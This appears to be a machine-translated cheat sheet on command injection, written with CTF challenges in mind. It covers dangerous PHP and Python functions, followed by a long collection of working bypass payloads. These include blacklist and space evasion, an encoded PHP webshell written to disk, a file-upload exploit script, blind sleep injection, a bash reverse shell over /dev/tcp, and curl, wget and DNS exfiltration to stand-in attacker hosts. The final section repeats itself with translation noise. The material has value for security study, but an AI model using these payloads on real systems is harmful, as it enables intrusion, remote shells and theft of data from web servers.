Command injection summary
Command injection is to execute arbitrary commands on the host operating system through vulnerable applications. In this attack, the operating system commands provided by the attacker are usually executed with the privileges of the vulnerable application. Command injection attacks are likely to be mainly due to insufficient input validation. This attack is different from code injection because code injection allows attackers to add their own code, which is then executed by the application. In command injection, an attacker extends the default functionality of an application executing system commands without injecting code.
principle
Command injection attacks may occur when an application passes unsafe user provided data (forms, cookie s, HTTP headers, etc.) to the system shell without checking and filtering.
Common hazard functions
PHP
system
Execute the command specified by the command parameter and output the execution result.
system ( string $command , int &$return_var = ? ) : string
Command: the command to execute.
return_var: if return is provided_ Var parameter, the return status after external command execution will be set to this variable.
exec
Execute the command specified by the command parameter.
exec ( string $command , array &$output = ? , int &$return_var = ? ) : string
Command: the command to execute.
Output: if the output parameter is provided, the array will be filled with the output executed by the command, and one element in the array will be filled with each line of output.
return_var: if both output and return are provided_ Var parameter, the return status after the command is executed will be written to this variable.
passthru
Executes the command specified by the command parameter and displays the original output.
passthru ( string $command , int &$return_var = ? ) : void
Command: the command to execute.
return_var: if return is provided_ Var parameter, the return status of Unix command will be recorded to this parameter.
shell_exec
Execute the command through the shell environment and return the complete output as a string.
shell_exec ( string $cmd ) : string
cmd: command to execute.
popen
Open a pipeline to the process that is generated by deriving the execution of the given command command.
popen ( string $command , string $mode ) : resource
Command: command.
Mode: mode.
proc_open
Execute a command and open the file pointer for input / output.
proc_open ( string $cmd , array $descriptorspec , array &$pipes , string $cwd = null , array $env = null , array $other_options = null ) : resource
cmd: command to execute
descriptorspec: an array of indexes. Array keys represent descriptors, and array element values represent how PHP passes these descriptors to child processes. 0 represents standard input (stdin), 1 represents standard output (stdout), and 2 represents standard error (stderr).
pipes: will be set as an index array, where the element is the file pointer corresponding to the PHP end of the pipeline created by the executing program.
cwd: the initial working directory to execute the command. It must be an absolute path. Setting this parameter to null means that the default value (the working directory of the current PHP process) is used.
env: the environment variable used by the command to execute. Setting this parameter to null means that the same environment variable as the current PHP process is used.
other_options: you can also specify some additional options. Currently supported options include:
- suppress_errors (Windows platform only): set to true to suppress the errors generated by this function.
- bypass_shell (Windows platform only): set to true to bypass cmd.exe shell.
backquote
PHP supports an execution operator: backquote ("). PHP will try to execute the contents in the backquote as a shell command and return its output information (that is, it can be assigned to a variable rather than simply discarded to the standard output). The effect is the same as shell_exec().
Python
system
system(command)
Execute the command (string) in the sub shell. On Unix, the return value is the exit status of the process; on Windows, the return value is the value returned by the system shell after running the command.
popen
popen(cmd, mode='r', buffering=-1)
Open a pipe that leads to / accepts the self command cmd. The return value is the file object connected to the pipeline. Whether the object can be read or written depends on whether the mode is' r '(default) or' w '.
subprocess.call/subprocess.run
subprocess.call(args, *, stdin=None, stdout=None, stderr=None, shell=False, cwd=None, timeout=None, **other_popen_kwargs)
Run the command described by args. Wait for the command to complete, and then return the returncode property.
spawn
Create a new process to execute commands
Java
java.lang.Runtime.getRuntime().exec(command)
Common symbols under Linux
Special symbols
Symbol | explain |
---|---|
A;B | A will execute the B command whether it is correct or not |
A&B | A runs in the background, and a and B execute at the same time |
A&&B | The command B will be executed only when the execution of A is successful |
A|B | As A parameter of the B command, A will execute the B command whether it is correct or not |
A||B | The command B will not be executed until the execution of A fails |
() | Group instruction group, which encloses a series of continuous instructions in parentheses, and the execution effect is equivalent to that of multiple independent commands. |
(()) | Used for arithmetic operations', similar to the let instruction |
{} | Splicing character usage, {xx,yy,zz...} {aa,bb,cc...} get xxaa,xxbb,xxcc,yyaa,yybb,yycc,zzaa,zzbb,zzcc |
[] | Play the role of judgment in process control; Play a role like "range" or "set" in regular expressions. |
[[ ]] | This group of symbols is basically the same as the previous [] symbols, but she allows the direct use of symbols such as | and & & logic. |
wildcard
character | explain |
---|---|
* | Match any character of any length |
? | Match any single character |
[list] | Match any single character within the specified range (list), or it can be a collection of single characters |
[^list] | Matches any single character or character set outside the specified range |
[!list] | Same as [^ list] |
{str1,str2,...} | Match srt1 or srt2 or more strings, or a collection |
IFS | It consists of one of < space > or < tab > or < ENTER > |
CR | Generated by < ENTER > |
! | Execute the commands in history |
Common bypass
Commands separate and execute multiple commands
- On Unix:
%0a express\r %0d express\n ; & | $(shell_command) `shell_command` {shell_command,}
- On Windows:
%0a & | %1a - A magical character, as.bat Command separator in file
Space bypass
- Use < or < >
cat<>flag cat<flag
- Use IFS
cat$IFS$9/flag cat${IFS}/flag cat$IFS/flag
- Bypass with url encoding
%09
- Curly bracket extension {OS_COMMAND,ARGUMENT}
{cat,/etc/passwd}
- Variable control
X=$'cat\x20/flag'&&$X X=$'cat\x09/flag'&&$X
Bypass escape hellcmd
- Execute bat under win
Execute under win bat file, using% 1a, you can bypass the filter and execute commands
id=../ %1a whoami
- Wide byte injection
php5.2.5 and earlier can be bypassed by entering multiple bytes. It's almost gone now.
escapeshellcmd("echo ".chr(0xc0).";id");
Then the statement becomes
echo To put up with;id
So as to realize the injection of id command.
Blacklist bypass
PHP representation string method
echo "foo"; echo (string)"bar"; echo (string)hello; echo (world);
- Splicing
a=c;b=at;c=flag;$a$b $c (sy.(st).em)(whoami)
- Leverage existing resources
Get the corresponding characters from the existing files or environment variables.
- code
echo "Y2F0IGZsYWc="|base64 -d express: cat flag echo "Y2F0IGZsYWc="|base64 -d|bash (printf "\x63\x61\x74\x20\x66\x6c\x61\x67") #You can write webshell in this way. The content is <? php @eval($_POST['c']);?> {printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php
- Single quotation mark, double quotation mark
c""at fl''ag c'a't f'l'ag
- Backslash\
c\at fl\ag
- wildcard
/?in/?s => /bin/ls cat fl[0-z]g echo d{a,e,i,u,o}g => dag deg dig dug dog echo {fl,fla}{ag,g} => flag flg flaag flag echo fl{0..z}g => fl1g,fl2g,...,flyg,flzg
- Undefined variable
cat$x /etc/passwd
- Define additional parameters
If only parameter c is checked and filtered, parameter a can be constructed to bypass
?c=eval($_GET[a]);&a=cat ./flag
When eval() or () is also filtered, you can use include to read the file with php pseudo protocol
php://filter It is a meta wrapper designed for the "filter" application when "data flow is open" to read and write local disk files. To put it simply, you can read the code in another way before executing the code. You just read it without opening allow_url_include.
?file=php://filter/convert.base64-encode/resource=xxx.php
c=include$_GET["a"]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
- Variable function
After obtaining the index of the built-in function system, execute it directly
#1. Get the index of the system function first php -r 'get_defined_functions();' | grep 'system' #2. Directly use the system function to execute php -r get_defined_functions()[501](whoami)'
- $@
c$@at fl$@ag echo i$@d
- Use existing resources
echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin echo $PATH| cut -c 1 / echo $PATH| cut -c 1-4 /usr
- Character array
In php, each character of the string can be obtained in the form of an array, so that we can first define a string containing all the required characters, and then construct the string we need by taking the characters from the subscript and splicing them.
# Equivalent to executing (system)(ls /tmp) php -r '$a="elmsty/ ";($a[3].$a[5].$a[3].$a[4].$a[0].$a[2])($a[1].$a[3].$a[-1].$a[-2].tmp)'
- Use some existing characters
- Character corresponding to ${PS2} >
- Character corresponding to ${PS4}+
- ${IFS} corresponds to the internal field separator
- corresponds to an empty string
- Using regular matching
grep show flag.php
Then flag The line in the PHP file that regularly matches the show string.
Parameterless rce
print_r(scandir(‘.’)); View all file names in the current directory
The localeconv() function returns an array containing local numbers and currency format information.
The current() function returns the current element (cell) in the array. The first value is taken by default. pos is the alias of current
each() returns the current key / value pair in the array and moves the array pointer one step forward
end() points the internal pointer of the array to the last cell
next() moves the internal pointer in the array one bit forward
prev() rewinds the internal pointer in the array by one bit
array_reverse() returns the array in the reverse order of elements
Print out the files in the current directory:
print_r(scandir(current(localeconv())));
current(localeconv()) is the combination of these two functions
Print out the contents of the penultimate file
show_source(next(array_reverse(scandir(getcwd()))));
Filter letters or numbers
- Using numbers
To filter letters but not numbers, use the base64 command:
/???/????64 ????.??? ==> /bin/base64 flag.php
- Use to upload temporary files
Take advantage of php's features: if we send a post package to upload files, php will save the uploaded files in a temporary folder, and the default file directory is / tmp/phpxxxxxx. The last six characters of the file name are random upper and lower case letters, and the probability of the last character is uppercase letters. The easy way to think of matching is to use? For matching, i.e?????????, However, this does not necessarily match the files we upload. What can we do at this time?
Observed in ascii code table
The first symbol of the capital letter A is @, and the last letter of the capital letter Z is [, so we can use [@ - [] to represent matching capital letters, that is, it becomes the form:??? /???????? [@ - [], at this step, we can match the uploaded files. How to execute the uploaded files after limiting the letters? Here's a trick: use File to execute the file
exp:
#-- coding:UTF-8 -- # Author:dota_st # Date:2021/2/11 9:14 # blog: www.wlhhlc.top import requests while True: url = "http://**********/?c=. /???/????????[@-[]" r = requests.post(url, files={"file": ("dota.txt", "cat flag.php")}) flag = r.text.split('ctfshow') if len(flag) >1: print(r.text) break
- Use $and () to construct numbers
$(()) represents an operation, because it is empty, which also means that the value is 0
$(~ $(())) negates 0 with a value of - 1
$($((~ $(()))) $(~ $(())) - 1-1, that is (- 1) + - 1) is - 2, so the value is - 2
$(~ $((~ $(()))) $(~ $(())) negates - 2 again to get 1, so the value is 1
If you negate a bit by bit, the result is - (a+1), that is, negate 0 to get - 1
exp:
data = "$((~$(("+"$((~$(())))"*37+"))))" #Here - 37 takes the opposite, which is 36 print(data)
Common file reading methods
highlight_file($filename); show_source($filename); print_r(php_strip_whitespace($filename)); print_r(file_get_contents($filename)); readfile($filename); print_r(file($filename)); // var_dump fread(fopen($filename,"r"), $size); include($filename); // Non php code include_once($filename); // Non php code require($filename); // Non php code require_once($filename); // Non php code print_r(fread(popen("cat flag", "r"), $size)); print_r(fgets(fopen($filename, "r"))); // Read one line fpassthru(fopen($filename, "r")); // Read from current position to EOF print_r(fgetcsv(fopen($filename,"r"), $size)); print_r(fgetss(fopen($filename, "r"))); // Read a line from the file pointer and filter out HTML tags print_r(fscanf(fopen("flag", "r"),"%s")); print_r(parse_ini_file($filename)); // false is returned on failure, and the configuration array is returned on success
Common directory reading methods
print_r(glob("*")); // Column current directory print_r(glob("/*")); // Column root directory print_r(scandir(".")); print_r(scandir("/")); var_export(scandir('/')); var_dump(scandir('/')); $d=opendir(".");while(false!==($f=readdir($d))){echo"$f\n";} $d=dir(".");while(false!==($f=$d->read())){echo$f."\n";} $a=glob("/*");foreach($a as $value){echo $value." ";} $a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
Using database to read file bypass
Load with mysql_ File to read the file
exp:
try { $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root'); foreach ($dbh->query('select load_file("/flag.txt")') as $row) { echo ($row[0]) . "|"; } $dbh = null; } catch (PDOException $e) { echo $e->getMessage(); exit(0); }
Using FFI
Use php7 4 can execute the extension of C language, so as to use the system function of C for star execution.
$ffi = FFI::cdef( "int system(const char *command);"); // Create a system object $ffi->system("/readflag > 1.txt"); // Execute commands through system
Using Bash built-in variables
- nl
root@ubuntu:~# echo ${PWD} /root root@ubuntu:~# echo ${PWD:1:1} #Represents the first character from the 1 subscript r root@ubuntu:~# echo ${PWD:0:1} #Represents the first character from the 0 subscript / root@ubuntu:~# echo ${PWD:~0:1} #The first character from the end forward t root@ubuntu:~# echo ${PWD:~A} #So the letter and 0 have the same effect t root@ubuntu:~# echo ${PATH} /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin root@ubuntu:~# echo ${PATH:~A} n root@ubuntu:/var/www/html# echo ${PATH:~A}${PWD:~A} nl
Under normal circumstances, the value of ${PWD} is / var/www/html under the WWW data user, and ${PATH} is the same as that of the root user. Then we can construct nl to read the file: ${PATH:~A}${PWD:~A}
- /bin/base64
Method 1:
Constructing / bin/base64 requires two characters of / and 4. Others can be replaced by wildcards.
/Very simply, the first place of pwd is that because this question ban has a number, you can bypass it with ${#SHLVL} whose value must be 1
root@ubuntu:~# echo ${#SHLVL} 1 root@ubuntu:~# echo ${PWD::${SHLVL}} / root@ubuntu:~# echo ${#RANDOM} 4 root@ubuntu:~# echo ${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} /bin/base64
SHLVL: is an accumulator that records the nesting depth of multiple Bash process instances. When a process first opens a shell, ${SHLVL}=1, and then opens another shell in this shell, $SHLVL=2.
RANDOM: this variable value is a RANDOM integer with a range of 0-32767. However, although it is RANDOM, it is not really RANDOM, because the RANDOM number is the same every time. Therefore, before using the RANDOM variable, please arbitrarily set a number to RANDOM as a RANDOM number seed, so that the RANDOM numbers generated each time will not be in the same order. Moreover, after testing, it is found that the number of digits generated by RANDOM in linux is generally 4, so ${#RANDOM} can be used to generate the number 4.
In Linux, ${#xxx} displays the number of digits of the value. If # is not added, it is the value of the variable. If # is added, it is the length of the value of the variable. For example, the value of 12345 is 5, while most of the numbers generated by random function are 4 or 5, so it can replace 4.
Method 2:
root@ubuntu:/var/www/html# echo $? 0 root@ubuntu:/var/www/html# <A -bash: A: No such file or directory root@ubuntu:/var/www/html# echo $? 1 root@ubuntu:~# echo ${HOME} /root root@ubuntu:/var/www/html# echo ${#RANDOM} 4 root@ubuntu:~# echo ${HOME::$?}???${HOME::$?}?????${#RANDOM} /bin/base64
$? : The end code (return value) of the last running command is the return value of the last instruction executed (showing the exit status of the last command). 0 indicates no error, and any other value indicates an error. The value of 1 can be returned by using the error report of < a
"OS error code 1: Operation not permitted" "OS error code 2: No such file or directory" "OS error code 3: No such process" "OS error code 4: Interrupted system call" "OS error code 5: Input/output error" "OS error code 6: No such device or address" "OS error code 7: Argument list too long" "OS error code 8: Exec format error" "OS error code 9: Bad file descriptor" "OS error code 10: No child processes"
- /bin/cat
Method 1:
To construct / bin/cat, you need t and /, ${HOME} is / root by default, so you need to get its last letter. The HOSTNAME of the container should be 5 letters, so ${#HOSTNAME} can start from bit 5, 1 or use ${#SHLVL}
root@ubuntu:~# echo ${#HOSTNAME} 5 root@ubuntu:~# echo ${HOME} /root root@ubuntu:~# echo ${HOME:${#HOSTNAME}:${#SHLVL}} t root@ubuntu:~# echo ${PWD::${SHLVL}} / root@ubuntu:~# echo ${PWD::${#SHLVL}}???${PWD::${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} /bin/cat
Method 2:
Generally, the permissions given are www data, so we can use ${USER} to obtain "www data", and if we want to get at, we need ${USER:~2:2}, but the number is prohibited, so next we need to think about how to construct 2. Generally, we can view the http header information and use the php version information. For example, I found that the version of php is 7.3 22, just contains the number 2, so use PHP_VERSION
root@ubuntu:~# echo ${USER} www-data root@ubuntu:~# echo ${PHP_VERSION:~A} 2 root@ubuntu:~# echo ${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}} at root@ubuntu:~# echo ${#} 0 root@ubuntu:~# echo ${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}} /bin/cat root@ubuntu:~# echo ${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}}? /bin/cat
- /bin/rev
root@ubuntu:~# echo ${##} 1 root@ubuntu:~# echo ${#?} 1 root@ubuntu:/var/www/html# echo ${#IFS} 3 root@ubuntu:/var/www/html# echo ${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? /bin/rev
Using mathematical functions
Mainly through base_ The convert() function converts hexadecimal characters into decimal numbers, and then restores them to functions or commands that were originally hexadecimal or not in the white list through the reverse process.
example: Using mathematical functions to construct command execution
Character limit bypass
Use output redirection > step by step to enter the command to be executed into a file, and then execute the file through sh
Short command execution
First, according to the usage of > above, we can know that there is standard output that can be output to a file
- Only \ branch input is used. This advantage is that it can be directly output to a file with LS > A without considering the chronological order
root@kali:~/Desktop# >ec\ > ho\ > \ 1 root@kali:~/Desktop# ls >a root@kali:~/Desktop# cat a a echo 1 root@kali:~/Desktop# sh a a: 1: a: not found 1
Here, echo 1 is output to the desktop as a string, then the ls command is used to store the contents of the desktop in file a, and then execute the contents of file a to output 1.
- Using \ \, this method uses \ tosplice strings, where the previous \ is used to escape the next \. Here, you need to consider the chronological order and create files in reverse order.
root@kali:~/Desktop# >\ 1\\ root@kali:~/Desktop# >ho\\ root@kali:~/Desktop# >ec\\ root@kali:~/Desktop# ls -t>a root@kali:~/Desktop# cat a a ec\ ho\ 1\ root@kali:~/Desktop# sh a a: 1: a: not found 1
- -t list the documents according to the order of creation time
Command injection without echo
Most of what we mentioned before are command injection with echo or some prompts. What should we do when we encounter command injection without echo?
sleep
- First, we can use the sleep command to judge whether there is a command execution vulnerability according to the return time.
?cmd=sleep 5
If there is command execution, it will wait 5 seconds before returning the response.
- Blind injection using sleep
sleep $(hostname | cut -c 1 |tr a 5)
- The command we execute is hostname. Let's assume it returns hacker.
- It needs to output and pass it to cut -c 1. This will pick up the first character h of the hacker.
- The character a is then replaced with 5 by the tr command.
- Then pass the output of the TR command to the sleep command. When sleep h is executed, an error will appear immediately, because the parameter followed by sleep can only be a number. The target then iterates over the characters using the TR command. It will take 5 seconds to execute the sleep $(hostname | cut -c 1 | tr h 5) command.
So we can determine that the first character is an h. By analogy, we can guess the complete host name.
DNSLog
If there is no command execution statement, you can use DNSLog to view the results.
- window
ping %USERNAME%.t6n089.ceye.io
- *nix
ping -c 1 `whoami`.t6n089.ceye.io
You can see that our user name is displayed on the far left of the domain name
Rebound shell
First, open the listening port on your own machine:
nc -lvp 2333
Then enter at the command execution:
bash -i >&/dev/tcp/ip address/Port 0>&1
bash control of the target can be obtained:
root@kali:~# nc -lvp 4444 listening on [any] 4444 ... 192.168.91.143: inverse host lookup failed: Unknown host connect to [192.168.91.128] from (UNKNOWN) [192.168.91.143] 34728 root@ubuntu18:/var/www/html# ls ls checksite DVWA-master index.html phpmyadmin test.php
HTTP take out
- Linux
curl http://evil-server/$(whoami) wget http://evil-server/$(whoami) curl http://evil-server/`whoami` curl xxxx.ceye.io/`whoami` curl http://xxxx.ceye.io/$(id|base64) ping -c 1 `whoami`.xxxx.ceye.io
- Window
http: for /F %x in ('whoami') do start http://xxx.ceye.io/%x dns Request: Get computer name: for /F "delims=" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info Get user name: for /F "delims= tokens=2" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info for /F %x in ('whoami') do powershell $a=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('%x'));$b=New-Object System.Net.WebClient;$b.DownloadString('http://xxx.ceye.io/'+$a); /www/html# ls ls checksite DVWA-master index.html phpmyadmin test.php
HTTP take out
- Linux
curl http://evil-server/$(whoami) wget http://evil-server/$(whoami) curl http://evil-server/`whoami` curl xxxx.ceye.io/`whoami` curl http://xxxx.ceye.io/$(id|base64) ping -c 1 `whoami`.xxxx.ceye.io
[external chain picture transferring... (img-b3bjZLsJ-1639546877039)]
- Window
http: for /F %x in ('whoami') do start http://xxx.ceye.io/%x dns Request: Get computer name: for /F "delims=" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info Get user name: for /F "delims= tokens=2" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info for /F %x in ('whoami') do powershell $a=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('%x'));$b=New-Object System.Net.WebClient;$b.DownloadString('http://xxx.ceye.io/'+$a);